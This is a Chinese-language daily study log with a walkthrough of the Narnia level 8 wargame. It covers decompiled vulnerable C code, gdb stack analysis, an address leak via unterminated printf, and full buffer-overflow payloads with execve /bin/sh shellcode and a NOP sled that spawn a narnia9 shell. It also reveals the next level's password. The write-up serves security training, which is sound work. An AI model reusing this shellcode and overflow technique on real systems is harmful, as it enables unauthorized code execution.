1625-5 王子昂 总结《2017年9月2日》 【连续第334天总结】
A. WarGames-Narnia
B.
Level 8
int __cdecl func(int a1)
{
char s[20]; // [sp+18h] [bp-20h]@1
int v3; // [sp+2Ch] [bp-Ch]@1
v3 = a1;
memset(s, 0, 0x14u);
for ( i = 0; *(_BYTE *)(i + v3); ++i )
s[i] = *(_BYTE *)(i + v3);
return printf("%s\n", s);
}
看起来很简单,v3=a1=argv[1]
构造溢出使s覆盖到func()的返回地址即可
堆栈结构为20(s)+ 4(v3) + 8(无用) + 4(ebp保护) + 4(返回地址)
不过简单的offset从s溢出到返回地址时会破坏v3,而循环赋值是从v3取的地址,因此在抵达返回地址之前就中断了
解决方法就是记录下v3的值,使s溢出的时候不破坏它而覆盖返回值
通过gdb调试,断在printf时查看堆栈可以得到v3的值(即argv[1]的值)
直接输入后发现还是不行,再次测试发现长度不同时argv[1]的值也有所偏移:
(gdb) r
python -c 'print "a"*19'
0xffffd6ec: 0x61616161 0x61616161 0x61616161 0x00616161
0xffffd6fc: 0xffffd8ff(gdb) r
python -c 'print "a"*20'
0xffffd6ec: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd6fc: 0xffffd8fe
也就是说每多一个字符缓冲区就向后偏移一个字节
通过len计算长度得到字符串地址是一种方法
更简单的方法是通过gdb在func处下断,输入等长shellcode后直接观察堆栈中的信息找到字符串地址:
(gdb) break func
Breakpoint 2 at 0x8048433
(gdb) rpython -c 'print "a"*20 + "\xff\xff\xff\xff" + "a"*12 + "\xff\xff\xff\xff" + "\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
Breakpoint 2, 0x08048433 in func ()
(gdb) x/40x $esp
0xffffd6b0: 0xffffffff 0xffffd6de 0xf7e2fc34 0xf7e55fe3
0xffffd6c0: 0x00000000 0x002c307d 0x00000001 0x080482bd
0xffffd6d0: 0xffffd8c1 0x0000002f 0x08049790 0x08048542
0xffffd6e0: 0x00000002 0xffffd7a4 0xffffd708 0x080484cd
0xffffd6f0: 0xffffd8d1 0xf7ffd000 0x080484fb 0xf7fcc000
0xffffd700: 0x080484f0 0x00000000 0x00000000 0xf7e3cad3
0xffffd710: 0x00000002 0xffffd7a4 0xffffd7b0 0xf7feacca
0xffffd720: 0x00000002 0xffffd7a4 0xffffd744 0x080497a4
0xffffd730: 0x0804820c 0xf7fcc000 0x00000000 0x00000000
0xffffd740: 0x00000000 0xd8504a6f 0xe06b4e7f 0x00000000
查看以ffff开头的可疑地址,发现d8d1是真正的缓冲区
那么将覆盖v3的值改为0xffffd8d1,覆盖返回地址的值改为0xffffd8d1+40(懒得计算的话也可以在ShellCode前输入大量的\x90来做滑雪板,最后返回地址随便加个三五十就行了)
(gdb) r
python -c 'print "a"*20 + "\xd1\xd8\xff\xff" + "a"*12 + "\xf9\xd8\xff\xff" + "\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
在gdb中溢出成功了,但是由于gdb附加的原因无法得到narnia9的权限,所以还是要回到shell中
然而shell中用同样的代码失败了,看来argv地址改变了,要想想别的办法
shell中就没法像gdb那样查看堆栈的内容来得到v3了,不过还有别的办法
缓冲区有20个字符,如果我们正好输入20个字符,那么printf的时候由于没有遇到\0就不会判断结束,继续打印之后的v3,从而泄露地址
narnia8@narnia:~$ /narnia/narnia8
python -c 'print "a"*20'
>hex
narnia8@narnia:~$ hexdump hex
0000000 6161 6161 6161 6161 6161 6161 6161 6161
0000010 6161 6161 d90f ffff 0a02
000001a
计算一下,基址为0xffffd90f+20,减去shellcode长65,简单计算一下得到v3的地址d8e2
shellcode前置部分长0x28,加上以后为d90a
这次v3对了,但是一直报Segamentation fault,表示Shellcode没击中,试了几次都不行,没办法只好乖乖加20个滑雪橇才终于成功
narnia8@narnia:~$ /narnia/narnia8
python -c 'print "a"*20 + "\xc2\xd8\xff\xff" + "a"*12 + "\xff\xd8\xff\xff" +"\x90"*0x20 +"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
aaaaaaaaaaaaaaaaaaaa仑aaaaaaaaaaaa悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙3繮h//shh/bin夈PS夅蛝
$
whoami
narnia9
$
cat /etc/narnia_pass/narnia9
eiL5fealae
C. 明日计划
Nania9